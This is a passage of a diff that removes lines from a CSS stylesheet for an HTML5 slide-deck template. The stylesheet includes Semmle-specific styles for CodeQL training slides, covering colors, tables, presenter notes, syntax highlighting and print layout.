-/* line 421, ../scss/default.scss */
-.yellow {
-  color: #ffd14d;
-}
-
-/* line 424, ../scss/default.scss */
-.yellow2 {
-  color: #f9cc46;
-}
-
-/* line 427, ../scss/default.scss */
-.yellow3 {
-  color: #f6c000;
-}
-
-/* line 430, ../scss/default.scss */
-.green {
-  color: #0da861;
-}
-
-/* line 433, ../scss/default.scss */
-.green2 {
-  color: #00a86d;
-}
-
-/* line 436, ../scss/default.scss */
-.green3 {
-  color: #009f5d;
-}
-
-/* line 439, ../scss/default.scss */
-.red {
-  color: #f44a3f;
-}
-
-/* line 442, ../scss/default.scss */
-.red2 {
-  color: #e0543e;
-}
-
-/* line 445, ../scss/default.scss */
-.red3 {
-  color: #d94d3a;
-}
-
-/* line 448, ../scss/default.scss */
-.gray {
-  color: #e6e6e6;
-}
-
-/* line 451, ../scss/default.scss */
-.gray2 {
-  color: #a9a9a9;
-}
-
-/* line 454, ../scss/default.scss */
-.gray3 {
-  color: #797979;
-}
-
-/* line 457, ../scss/default.scss */
-.gray4 {
-  color: #515151;
-}
-
-/* line 461, ../scss/default.scss */
-.white {
-  color: white !important;
-}
-
-/* line 464, ../scss/default.scss */
-.black {
-  color: black !important;
-}
-
-/* line 468, ../scss/default.scss */
-.columns-2 {
-  -moz-column-count: 2;
-  -webkit-column-count: 2;
-  column-count: 2;
-}
-
-/* line 472, ../scss/default.scss */
-table {
-  width: 100%;
-  border-collapse: -moz-initial;
-  border-collapse: initial;
-  border-spacing: 2px;
-  border-bottom: 1px solid #797979;
-}
-/* line 479, ../scss/default.scss */
-table tr > td:first-child, table th {
-  font-weight: 600;
-  color: #515151;
-}
-/* line 484, ../scss/default.scss */
-table tr:nth-child(odd) {
-  background-color: #e6e6e6;
-}
-/* line 488, ../scss/default.scss */
-table th {
-  color: white;
-  font-size: 1em;
-  background: grey;
-}
-/* line 494, ../scss/default.scss */
-table td, table th {
-  font-size: 1em;
-  padding: 1em 0.5em;
-}
-/* line 499, ../scss/default.scss */
-table td.highlight {
-  color: #515151;
-  background: grey;
-}
-/* line 504, ../scss/default.scss */
-table.rows {
-  border-bottom: none;
-  border-right: 1px solid #797979;
-}
-table td {
-  background: white;
-}
-
-/* line 510, ../scss/default.scss */
-q {
-  font-size: 2em;
-  line-height: 72px;
-}
-/* line 514, ../scss/default.scss */
-q:before {
-  content: '“';
-  position: absolute;
-  margin-left: -0.5em;
-}
-/* line 519, ../scss/default.scss */
-q:after {
-  content: '�';
-  position: absolute;
-  margin-left: 0.1em;
-}
-
-/* line 526, ../scss/default.scss */
-slide.fill {
-  background-repeat: no-repeat;
-  -moz-border-radius: 5px;
-  -webkit-border-radius: 5px;
-  border-radius: 5px;
-  -moz-background-size: cover;
-  -o-background-size: cover;
-  -webkit-background-size: cover;
-  background-size: cover;
-}
-
-/* Size variants */
-/* line 535, ../scss/default.scss */
-article.smaller p, article.smaller ul {
-  font-size: 20px;
-  line-height: 24px;
-  letter-spacing: 0;
-}
-/* line 541, ../scss/default.scss */
-article.smaller table td, article.smaller table th {
-  font-size: 14px;
-}
-/* line 545, ../scss/default.scss */
-article.smaller pre {
-  font-size: 15px;
-  line-height: 20px;
-  letter-spacing: 0;
-}
-/* line 550, ../scss/default.scss */
-article.smaller q {
-  font-size: 40px;
-  line-height: 48px;
-}
-/* line 554, ../scss/default.scss */
-article.smaller q:before, article.smaller q:after {
-  font-size: 60px;
-}
-
-/* Builds */
-/* line 563, ../scss/default.scss */
-.build > * {
-  -moz-transition: opacity 0.5s ease-in-out 0.2s;
-  -o-transition: opacity 0.5s ease-in-out 0.2s;
-  -webkit-transition: opacity 0.5s ease-in-out;
-  -webkit-transition-delay: 0.2s;
-  transition: opacity 0.5s ease-in-out 0.2s;
-}
-/* line 567, ../scss/default.scss */
-.build .to-build {
-  opacity: 0;
-}
-/* line 571, ../scss/default.scss */
-.build .build-fade {
-  opacity: 0.3;
-}
-/* line 574, ../scss/default.scss */
-.build .build-fade:hover {
-  opacity: 1.0;
-}
-
-/* line 581, ../scss/default.scss */
-.popup .next .build .to-build {
-  opacity: 1;
-}
-/* line 585, ../scss/default.scss */
-.popup .next .build .build-fade {
-  opacity: 1;
-}
-
-/* Pretty print */
-/* line 592, ../scss/default.scss */
-.prettyprint .str,
-.prettyprint .atv {
-  /* a markup attribute value */
-  color: #009f5d;
-}
-
-/* line 596, ../scss/default.scss */
-.prettyprint .kwd,
-.prettyprint .tag {
-  /* a markup tag name */
-  color: #0066cc;
-}
-
-/* line 600, ../scss/default.scss */
-.prettyprint .com {
-  /* a comment */
-  color: #797979;
-  font-style: italic;
-}
-
-/* line 604, ../scss/default.scss */
-.prettyprint .lit {
-  /* a literal value */
-  color: #7f0000;
-}
-
-/* line 607, ../scss/default.scss */
-.prettyprint .pun,
-.prettyprint .opn,
-.prettyprint .clo {
-  color: #515151;
-}
-
-/* line 612, ../scss/default.scss */
-.prettyprint .typ,
-.prettyprint .atn,
-.prettyprint .dec,
-.prettyprint .var {
-  /* a declaration; a variable name */
-  color: #d94d3a;
-}
-
-/* line 618, ../scss/default.scss */
-.prettyprint .pln {
-  color: #515151;
-}
-
-/* line 622, ../scss/default.scss */
-.note {
-  position: fixed;
-  z-index: 100;
-  width: 100%;
-  height: 100%;
-  top: 0;
-  left: 0;
-  padding: 1em;
-  background: white;
-  line-height: 1.5em;
-  opacity: 0;
-  pointer-events: none;
-  display: -webkit-box !important;
-  display: -moz-box !important;
-  display: -ms-box !important;
-  display: -o-box !important;
-  display: box !important;
-  -webkit-box-orient: vertical;
-  -moz-box-orient: vertical;
-  -ms-box-orient: vertical;
-  box-orient: vertical;
-  -webkit-box-align: center;
-  -moz-box-align: center;
-  -ms-box-align: center;
-  box-align: center;
-  -webkit-box-pack: center;
-  -moz-box-pack: center;
-  -ms-box-pack: center;
-  box-pack: center;
-  -moz-border-radius: 5px;
-  -webkit-border-radius: 5px;
-  border-radius: 5px;
-  -moz-box-sizing: border-box;
-  -webkit-box-sizing: border-box;
-  box-sizing: border-box;
-  -moz-transform: translateY(350px);
-  -ms-transform: translateY(350px);
-  -webkit-transform: translateY(350px);
-  transform: translateY(350px);
-  -moz-transition: all 0.4s ease-in-out;
-  -o-transition: all 0.4s ease-in-out;
-  -webkit-transition: all 0.4s ease-in-out;
-  transition: all 0.4s ease-in-out;
-}
-/* line 640, ../scss/default.scss */
-.note > section {
-  background: #fff;
-  -moz-border-radius: 5px;
-  -webkit-border-radius: 5px;
-  border-radius: 5px;
-  -moz-box-shadow: 0 0 10px #797979;
-  -webkit-box-shadow: 0 0 10px #797979;
-  box-shadow: 0 0 10px #797979;
-  width: 60%;
-  padding: 2em;
-}
-
-/* line 657, ../scss/default.scss */
-.with-notes.popup slides.layout-widescreen slide.next,
-.with-notes.popup slides.layout-faux-widescreen slide.next {
-  -moz-transform: translate3d(690px, 80px, 0) scale(0.35);
-  -ms-transform: translate3d(690px, 80px, 0) scale(0.35);
-  -webkit-transform: translate3d(690px, 80px, 0) scale(0.35);
-  transform: translate3d(690px, 80px, 0) scale(0.35);
-}
-/* line 660, ../scss/default.scss */
-.with-notes.popup slides.layout-widescreen slide .note,
-.with-notes.popup slides.layout-faux-widescreen slide .note {
-  -moz-transform: translate3d(300px, 800px, 0) scale(1.5);
-  -ms-transform: translate3d(300px, 800px, 0) scale(1.5);
-  -webkit-transform: translate3d(300px, 800px, 0) scale(1.5);
-  transform: translate3d(300px, 800px, 0) scale(1.5);
-}
-/* line 666, ../scss/default.scss */
-.with-notes.popup slide {
-  overflow: visible;
-  background: white;
-  -moz-transition: none;
-  -o-transition: none;
-  -webkit-transition: none;
-  transition: none;
-  pointer-events: none;
-  -moz-transform-origin: 0 0;
-  -ms-transform-origin: 0 0;
-  -webkit-transform-origin: 0 0;
-  transform-origin: 0 0;
-}
-/* line 673, ../scss/default.scss */
-.with-notes.popup slide:not(.backdrop) {
-  -moz-transform: scale(0.6) translate3d(0.5em, 0.5em, 0);
-  -ms-transform: scale(0.6) translate3d(0.5em, 0.5em, 0);
-  -webkit-transform: scale(0.6) translate3d(0.5em, 0.5em, 0);
-  transform: scale(0.6) translate3d(0.5em, 0.5em, 0);
-  -moz-box-shadow: 0 0 10px #797979;
-  -webkit-box-shadow: 0 0 10px #797979;
-  box-shadow: 0 0 10px #797979;
-}
-/* line 678, ../scss/default.scss */
-.with-notes.popup slide.backdrop {
-  background-image: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PHJhZGlhbEdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IjUwJSIgcj0iNjAwJSI+PHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2IxZGZmZiIvPjxzdG9wIG9mZnNldD0iMTAwJSIgc3RvcC1jb2xvcj0iIzQzODdmZCIvPjwvcmFkaWFsR3JhZGllbnQ+PC9kZWZzPjxyZWN0IHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIGZpbGw9InVybCgjZ3JhZCkiIC8+PC9zdmc+IA==');
-  background-size: 100%;
-  background-image: -moz-radial-gradient(50% 50%, #b1dfff 0%, #4387fd 600px);
-  background-image: -webkit-radial-gradient(50% 50%, #b1dfff 0%, #4387fd 600px);
-  background-image: radial-gradient(50% 50%, #b1dfff 0%, #4387fd 600px);
-}
-
-/* the popup class is used to display the speaker notes when 'presenter' view 
-   is enabled. This view is not currently optimal, so certain selectors have been commented-out,
-   with a view to improving the styles at a later date */
-
-
-/* line 684, ../scss/default.scss */
-/*.with-notes.popup slide.next {
-  -moz-transform: translate3d(570px, 80px, 0) scale(0.35);
-  -ms-transform: translate3d(570px, 80px, 0) scale(0.35);
-  -webkit-transform: translate3d(570px, 80px, 0) scale(0.35);
-  transform: translate3d(570px, 80px, 0) scale(0.35);
-  opacity: 1 !important;
-}*/
-/* line 688, ../scss/default.scss */
-/*.with-notes.popup slide.next .note {
-  display: none !important;
-}*/
-/* line 694, ../scss/default.scss */
-.with-notes.popup .note {
-  width: 109%;
-  height: 260px;
-  background: #e6e6e6;
-  padding: 0;
-  -moz-box-shadow: 0 0 10px #797979;
-  -webkit-box-shadow: 0 0 10px #797979;
-  box-shadow: 0 0 10px #797979;
-  -moz-transform: translate3d(250px, 800px, 0) scale(1.5);
-  -ms-transform: translate3d(250px, 800px, 0) scale(1.5);
-  -webkit-transform: translate3d(250px, 800px, 0) scale(1.5);
-  transform: translate3d(250px, 800px, 0) scale(1.5);
-  -moz-transition: opacity 400ms ease-in-out;
-  -o-transition: opacity 400ms ease-in-out;
-  -webkit-transition: opacity 400ms ease-in-out;
-  transition: opacity 400ms ease-in-out;
-}
-/* line 705, ../scss/default.scss */
-.with-notes.popup .note > section {
-  background: #fff;
-  -moz-border-radius: 5px;
-  -webkit-border-radius: 5px;
-  border-radius: 5px;
-  height: 100%;
-  width: 100%;
-  -moz-box-sizing: border-box;
-  -webkit-box-sizing: border-box;
-  box-sizing: border-box;
-  -moz-box-shadow: none;
-  -webkit-box-shadow: none;
-  box-shadow: none;
-  overflow: auto;
-  padding: 1em;
-}
-/* line 718, ../scss/default.scss */
-.with-notes .note {
-  opacity: 1;
-  -moz-transform: translateY(0);
-  -ms-transform: translateY(0);
-  -webkit-transform: translateY(0);
-  transform: translateY(0);
-  pointer-events: auto;
-}
-
-/* line 725, ../scss/default.scss */
-.source {
-  font-size: 14px;
-  color: #a9a9a9;
-  position: absolute;
-  bottom: 70px;
-  left: 60px;
-}
-
-/* line 733, ../scss/default.scss */
-.centered {
-  text-align: center;
-}
-
-/* line 737, ../scss/default.scss */
-.reflect {
-  -webkit-box-reflect: below 3px -webkit-linear-gradient(rgba(255, 255, 255, 0) 85%, white 150%);
-  -moz-box-reflect: below 3px -moz-linear-gradient(rgba(255, 255, 255, 0) 85%, white 150%);
-  -o-box-reflect: below 3px -o-linear-gradient(rgba(255, 255, 255, 0) 85%, white 150%);
-  -ms-box-reflect: below 3px -ms-linear-gradient(rgba(255, 255, 255, 0) 85%, white 150%);
-  box-reflect: below 3px linear-gradient(rgba(255, 255, 255, 0) 85%, #ffffff 150%);
-}
-
-/* line 745, ../scss/default.scss */
-.flexbox {
-  display: -webkit-box !important;
-  display: -moz-box !important;
-  display: -ms-box !important;
-  display: -o-box !important;
-  display: box !important;
-}
-
-/* line 749, ../scss/default.scss */
-.flexbox.vcenter {
-  -webkit-box-orient: vertical;
-  -moz-box-orient: vertical;
-  -ms-box-orient: vertical;
-  box-orient: vertical;
-  -webkit-box-align: center;
-  -moz-box-align: center;
-  -ms-box-align: center;
-  box-align: center;
-  -webkit-box-pack: center;
-  -moz-box-pack: center;
-  -ms-box-pack: center;
-  box-pack: center;
-  height: 100%;
-  width: 100%;
-}
-
-/* line 755, ../scss/default.scss */
-.flexbox.vleft {
-  -webkit-box-orient: vertical;
-  -moz-box-orient: vertical;
-  -ms-box-orient: vertical;
-  box-orient: vertical;
-  -webkit-box-align: left;
-  -moz-box-align: left;
-  -ms-box-align: left;
-  box-align: left;
-  -webkit-box-pack: center;
-  -moz-box-pack: center;
-  -ms-box-pack: center;
-  box-pack: center;
-  height: 100%;
-  width: 100%;
-}
-
-/* line 761, ../scss/default.scss */
-.flexbox.vright {
-  -webkit-box-orient: vertical;
-  -moz-box-orient: vertical;
-  -ms-box-orient: vertical;
-  box-orient: vertical;
-  -webkit-box-align: end;
-  -moz-box-align: end;
-  -ms-box-align: end;
-  box-align: end;
-  -webkit-box-pack: center;
-  -moz-box-pack: center;
-  -ms-box-pack: center;
-  box-pack: center;
-  height: 100%;
-  width: 100%;
-}
-
-/* line 767, ../scss/default.scss */
-.auto-fadein {
-  -moz-transition: opacity 0.6s ease-in 1s;
-  -o-transition: opacity 0.6s ease-in 1s;
-  -webkit-transition: opacity 0.6s ease-in;
-  -webkit-transition-delay: 1s;
-  transition: opacity 0.6s ease-in 1s;
-  opacity: 0;
-}
-
-/* Clickable/tappable areas */
-/* line 773, ../scss/default.scss */
-/*.slide-area {
-  z-index: 1000;
-  position: absolute;
-  left: 0;
-  top: 0;
-  width: 100px;
-  height: 700px;
-  left: 50%;
-  top: 50%;
-  cursor: pointer;
-  margin-top: -350px;
-}*/
-
-/* line 790, ../scss/default.scss */
-#prev-slide-area {
-  margin-left: -550px;
-}
-
-/* line 795, ../scss/default.scss */
-#next-slide-area {
-  margin-left: 450px;
-}
-
-/* ===== SLIDE CONTENT ===== */
-/* line 803, ../scss/default.scss */
-.logoslide img {
-  width: 383px;
-  height: 92px;
-}
-
-/* line 809, ../scss/default.scss */
-.segue {
-  padding: 5%;
-}
-/* line 812, ../scss/default.scss */
-.segue h2 {
-  color: #e6e6e6;
-  font-size: 60px;
-}
-/* line 816, ../scss/default.scss */
-.segue h3 {
-  color: #e6e6e6;
-  line-height: 2.8;
-}
-/* line 820, ../scss/default.scss */
-.segue hgroup {
-  display: block;
-}
-
-/* line 826, ../scss/default.scss */
-.thank-you-slide {
-  background: #4387fd !important;
-  color: white;
-}
-/* line 830, ../scss/default.scss */
-.thank-you-slide h2 {
-  font-size: 60px;
-  color: inherit;
-}
-/* line 835, ../scss/default.scss */
-.thank-you-slide article > p {
-  margin-top: 2em;
-  font-size: 20pt;
-}
-/* line 840, ../scss/default.scss */
-.thank-you-slide > p {
-  position: absolute;
-  bottom: 80px;
-  font-size: 24pt;
-  line-height: 1.3;
-}
-
-/* line 848, ../scss/default.scss */
-aside.gdbar {
-  height: 97px;
-  width: 215px;
-  position: absolute;
-  left: -1px;
-  top: 125px;
-  -moz-border-radius: 0 10px 10px 0;
-  -webkit-border-radius: 0;
-  border-radius: 0 10px 10px 0;
-  background: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJvYmplY3RCb3VuZGluZ0JveCIgeDE9IjAuMCIgeTE9IjAuNSIgeDI9IjEuMCIgeTI9IjAuNSI+PHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2U2ZTZlNiIvPjxzdG9wIG9mZnNldD0iMTAwJSIgc3RvcC1jb2xvcj0iI2U2ZTZlNiIvPjwvbGluZWFyR3JhZGllbnQ+PC9kZWZzPjxyZWN0IHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIGZpbGw9InVybCgjZ3JhZCkiIC8+PC9zdmc+IA==') no-repeat;
-  background: -webkit-gradient(linear, 0% 50%, 100% 50%, color-stop(0%, #e6e6e6), color-stop(100%, #e6e6e6)) no-repeat;
-  background: -moz-linear-gradient(left, #e6e6e6, #e6e6e6) no-repeat;
-  background: -webkit-linear-gradient(left, #e6e6e6, #e6e6e6) no-repeat;
-  background: linear-gradient(to right, #e6e6e6, #e6e6e6) no-repeat;
-  -moz-background-size: 0% 100%;
-  -o-background-size: 0% 100%;
-  -webkit-background-size: 0% 100%;
-  background-size: 0% 100%;
-  -moz-transition: all 0.5s ease-out 0.5s;
-  -o-transition: all 0.5s ease-out 0.5s;
-  -webkit-transition: all 0.5s ease-out;
-  -webkit-transition-delay: 0.5s;
-  transition: all 0.5s ease-out 0.5s;
-  /* Better to transition only on background-size, but not sure how to do that with the mixin. */
-}
-/* line 859, ../scss/default.scss */
-aside.gdbar.right {
-  right: 0;
-  left: -moz-initial;
-  left: initial;
-  top: 254px;
-  /* 96 is height of gray icon bar */
-  -moz-transform: rotateZ(180deg);
-  -ms-transform: rotateZ(180deg);
-  -webkit-transform: rotateZ(180deg);
-  transform: rotateZ(180deg);
-}
-/* line 866, ../scss/default.scss */
-aside.gdbar.right img {
-  -moz-transform: rotateZ(180deg);
-  -ms-transform: rotateZ(180deg);
-  -webkit-transform: rotateZ(180deg);
-  transform: rotateZ(180deg);
-}
-/* line 871, ../scss/default.scss */
-aside.gdbar.bottom {
-  top: -moz-initial;
-  top: initial;
-  bottom: 60px;
-}
-/* line 877, ../scss/default.scss */
-aside.gdbar img {
-  width: 85px;
-  height: 85px;
-  position: absolute;
-  right: 0;
-  margin: 8px 15px;
-}
-
-/* line 888, ../scss/default.scss */
-.title-slide hgroup {
-  margin-top: 20%;
-}
-/* line 891, ../scss/default.scss */
-.title-slide hgroup h1 {
-  font-size: 2em;
-  line-height: 1.4;
-  color: white;
-  margin: auto;
-  display: block;
-  position: absolute;
-  top: 0;
-  bottom: 10%;
-  left: 1.25em;
-  height: 0;
-}
-/* line 898, ../scss/default.scss */
-.title-slide hgroup h2 {
-  font-size: 2em;
-  color: #a9a9a9;
-  font-weight: inherit;
-}
-/* line 904, ../scss/default.scss */
-.title-slide hgroup p {
-  font-size: 1.5em;
-  color: #797979;
-  line-height: 1.3;
-  margin-top: 2em;
-}
-
-/* line 913, ../scss/default.scss */
-.quote {
-  color: black;
-  font-style: italic;
-  font-size: 1em;
-  padding: 0.5em;
-}
-/* line 916, ../scss/default.scss */
-.quote .author {
-  font-size: 24px;
-  position: absolute;
-  bottom: 80px;
-  line-height: 1.4;
-}
-
-/* line 925, ../scss/default.scss */
-[data-config-contact] a {
-  color: white;
-  border-bottom: none;
-}
-/* line 929, ../scss/default.scss */
-[data-config-contact] span {
-  width: 115px;
-  display: inline-block;
-}
-
-/* line 938, ../scss/default.scss */
-.overview.popup .note {
-  display: none !important;
-}
-/* line 944, ../scss/default.scss */
-.overview slides slide {
-  display: block;
-  cursor: pointer;
-  opacity: 0.5;
-  pointer-events: auto !important;
-  background: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJvYmplY3RCb3VuZGluZ0JveCIgeDE9IjAuNSIgeTE9IjAuMCIgeDI9IjAuNSIgeTI9IjEuMCI+PHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIvPjxzdG9wIG9mZnNldD0iODUlIiBzdG9wLWNvbG9yPSIjZmZmZmZmIi8+PHN0b3Agb2Zmc2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjZTZlNmU2Ii8+PC9saW5lYXJHcmFkaWVudD48L2RlZnM+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZmlsbD0idXJsKCNncmFkKSIgLz48L3N2Zz4g');
-  background: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #ffffff), color-stop(85%, #ffffff), color-stop(100%, #e6e6e6));
-  background: -moz-linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-  background: -webkit-linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-  background: linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-  background-color: white;
-}
-/* line 945, ../scss/default.scss */
-.overview slides slide.backdrop {
-  display: none !important;
-}
-/* line 956, ../scss/default.scss */
-.overview slides slide.far-past, .overview slides slide.past, .overview slides slide.next, .overview slides slide.far-next, .overview slides slide.far-past {
-  opacity: 0.5;
-  display: block;
-}
-/* line 965, ../scss/default.scss */
-.overview slides slide.current {
-  opacity: 1;
-}
-/* line 971, ../scss/default.scss */
-.overview .slide-area {
-  display: none;
-}
-
-/****** Semmle-specific styles *********/
-
-/* rst markup */
-strong {
-  font-weight: bold;
-}
-
-em {
-  font-style: italic;
-}
-
-sup {
-  vertical-align: super;
-  font-size: 0.5em;
-}
-
-/*custom slide styles */
-/* general */
-slide {
-  background-image: url("../../normal-slide.svg");
-  background-size: cover;
-  width: 100%;
-  height: 100%;
-  overflow: auto;
-  transform: scale(1);
-}  
-
-.highlight {
-  width: auto;
-  background: transparent !important;
-  margin-bottom: 2%;
-}
-
-p {
-  color: black;
-  font-size: 1em;
-}
-
-article {
-  margin-top: 3%;
-}
-
-hgroup .pre {
-  color: #5c31ff;
-}
-
-/* title slide (deck title, subtitle)*/
-
-.title-slide {
-  background-image: url("../../title-slide.svg");
-  background-size: cover;
-}
-
-.title-slide p {
-  color: white;
-  font-size: 1em;
-  position: absolute;
-  bottom: 30%;
-  left: 2.6em;
-}
-
-.title-slide hgroup .pre {
-  color: white;
-}
-
-.subheading {
-  position: absolute;
-  top: 62.5%;
-  left: 0;
-}
-
-.subheading p {
-  position: relative;
-}
-
-/* purple background slides (new section)*/
-
-.background2 {  
-  background-image: url("../../alternative-slide.svg");
-  background-size: cover;
-}
-
-.background2 h2 { 
-  color: white;
-}
-
-.background2 p {
-  color: #5c31ff;
-  font-size: 1.5em;
-}
-
-/* setup and agenda slides */
-
-.setup, .agenda {
-  background-image: url("../../setup-slide.svg");
-  background-size: cover;
-}
-
-.setup article, .agenda article {
-  margin-top: 3%;
-  border-left: 1px  solid #5c31ff;
-  top: 0;
-  bottom: 0;
-  right: 0;
-  left: 0;
-  margin: auto;
-  width: 50%;
-  height: fit-content;
-  padding: 2%;
-}
-
-.setup li {
-  line-height: 1.5em;
-  margin-top: 1.5em;
-}
-
-.agenda li {
-  margin:0;
-}
-
-.setup ul, .agenda ul {
-  padding: 0;
-}
-
-.setup hgroup, .agenda hgroup {
-  position: relative;
-  margin: 7% 0 0 17%;
-}
-
-/* end slide */
-
-.end-slide {
-  background-image: url("../../end-slide.svg");
-  background-size: 100% 100%;
-  background-color: #5c31ff;
-} 
-
-/* styles for side by side columns */
-
-.column-left {
-  float: left;
-}
-
-.column-right {
-  float: right;
-}
-
-.column-left, .column-right {
-  padding: 0px;
-  width: 45%;
-  line-height: 1.2em;
-  color: black;
-}
-
-.column-right img,  .column-left img {
-  display: block;
-  margin-left: auto;
-  margin-right: auto;
-}
-
-.column-right .highlight,  .column-left .highlight {
-  max-width: 100%;
-}
-
-/* admonition (speaker notes) styles */
-
-p.first.admonition-title {
-  display: none;
-}
-
-.admonition.note {
-  text-align: left;
-  font-size: 0.8em;
-  width: 100%;
-  overflow: auto;
-  border: 1px solid black;
-}
-
-.admonition.note pre {
-  font-family: 'consolas', 'Courier New', monospace;
-  background-color: white;
-  padding: 0;
-  margin-bottom: 10px;
-}
-
-.admonition.note .notranslate {
-  width: 100%;
-}
-
-.admonition.note > p {
-  width: inherit;
-  font-size: 1em;
-}
-
-.admonition.note  ul li {
-  width: inherit;
-}
-
-
-/* styles for information buttons on slides that have notes */
-
-#extra-notes {
-  display: block;
-  position: fixed;
-  top: 0;
-  right: 1%;
-  font-size: 1em;
-}
-
-#close-notes {
-  display: block;
-  position: fixed;
-  top: 0;
-  right: 0;
-  font-size: 1.2em;
-}
-
-button {
-  border: none;
-  background: none;
-}
-
-button:hover {
-  text-decoration: underline;
-}
-
-/********* images ************/
-/* general styles to scale and centre images*/
-
-.image-box {
-  display: grid;
-  height: 100%;
-}
-
-img {
-  width: 50%;
-  margin: auto;
-}
-
-/********* deck-specific styles for individual images *********/
-/* intro to ql */
-img.analysis {
-  width: 90%;
-}
-
-/* program representation*/
-.ast-graph {
-  width: 66%;
-  position: absolute;
-  right: -10%;
-}
-
-.java-expression-ast {
-  background-image: url("../../java-expression-ast.svg");
-  background-size: cover;
-}
-
-/* java data flow code example */
-
-.java-data-flow-code-example {
-  background-image: url("../../java-data-flow-code-example.svg");
-  background-size: cover;
-}
-
-/* extra global data flow slies*/
-
-.mismatched-calls-and-returns {
-  background-image: url("../../mismatched-calls-and-returns.svg");
-  background-size: cover;
-}
-
-/******* Other custom styles *******/
-/* custom styles for lists*/
-
-ol {
-  color: black;
-}
-
-li > ul > li {
-  margin-bottom: 0;
-}
-
-.admonition.note ol {
-  width: 90%;
-  margin-left: 2.2em;
-}
-
-.admonition.note ol > li {
-  margin-top: 0.5em;
-}
-
-/*
- * extra styles for more appropriate for syntax highlighting
- *
- */
-
- span.n, span.p, span.o {
-  color: black !important;
- }
-
- .highlight { color: #333 !important} /* default */ 
- .highlight .s { color: #06994a !important} /* strings */
- .highlight .m { color: #333 } /* numbers (no special highlighting) */
- .highlight .c1 { color: #007020 !important; font-style: italic !important} /* one-line comments */
- .highlight .cm { color: #007020 !important; font-style: italic !important} /* multiline comments */
- .highlight .cp { color: #2F1695 !important; font-style: italic !important} /* QLDoc comments */
- .highlight .k { color: #7a65cd !important; font-weight: bold !important} /* keywords */
- .highlight .kt { color: #7a65cd !important; font-weight: bold !important} /* built-in type keywords */
- .highlight .kr { color: #333 !important; font-style: italic !important} /* annotations */
-
-
-@media print {
-  /* line 978, ../scss/default.scss */
-  slides slide {
-    display: block !important;
-    position: relative;
-    /*background: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PGxpbmVhckdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJvYmplY3RCb3VuZGluZ0JveCIgeDE9IjAuNSIgeTE9IjAuMCIgeDI9IjAuNSIgeTI9IjEuMCI+PHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIvPjxzdG9wIG9mZnNldD0iODUlIiBzdG9wLWNvbG9yPSIjZmZmZmZmIi8+PHN0b3Agb2Zmc2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjZTZlNmU2Ii8+PC9saW5lYXJHcmFkaWVudD48L2RlZnM+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZmlsbD0idXJsKCNncmFkKSIgLz48L3N2Zz4g');
-    background: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #ffffff), color-stop(85%, #ffffff), color-stop(100%, #e6e6e6));
-    background: -moz-linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-    background: -webkit-linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-    background: linear-gradient(#ffffff, #ffffff 85%, #e6e6e6);
-    background-color: white;*/
-    -moz-transform: none !important;
-    -ms-transform: none !important;
-    -webkit-transform: none !important;
-    transform: none !important;
-    width: 100%;
-    height: 100%;
-    page-break-after: always !important;
-    top: auto !important;
-    left: auto !important;
-    bottom: unset;
-    margin-top: 0 !important;
-    margin-left: 0 !important;
-    opacity: 1 !important;
-    color: #555;
-    font-size: 100%;
-  }
-  /* line 993, ../scss/default.scss */
-  slides slide.far-past, slides slide.past, slides slide.next, slides slide.far-next, slides slide.far-past, slides slide.current {
-    opacity: 1 !important;
-    display: block !important;
-  }
-  /* line 1004, ../scss/default.scss */
-  slides slide .build > * {
-    -moz-transition: none;
-    -o-transition: none;
-    -webkit-transition: none;
-    transition: none;
-  }
-  /* line 1008, ../scss/default.scss */
-  slides slide .build .to-build,
-  slides slide .build .build-fade {
-    opacity: 1;
-  }
-  /* line 1014, ../scss/default.scss */
-  slides slide .auto-fadein {
-    opacity: 1 !important;
-  }
-  /* line 1018, ../scss/default.scss */
-  slides slide.backdrop {
-    display: none !important;
-  }
-  /* line 1022, ../scss/default.scss */
-  slides slide table.rows {
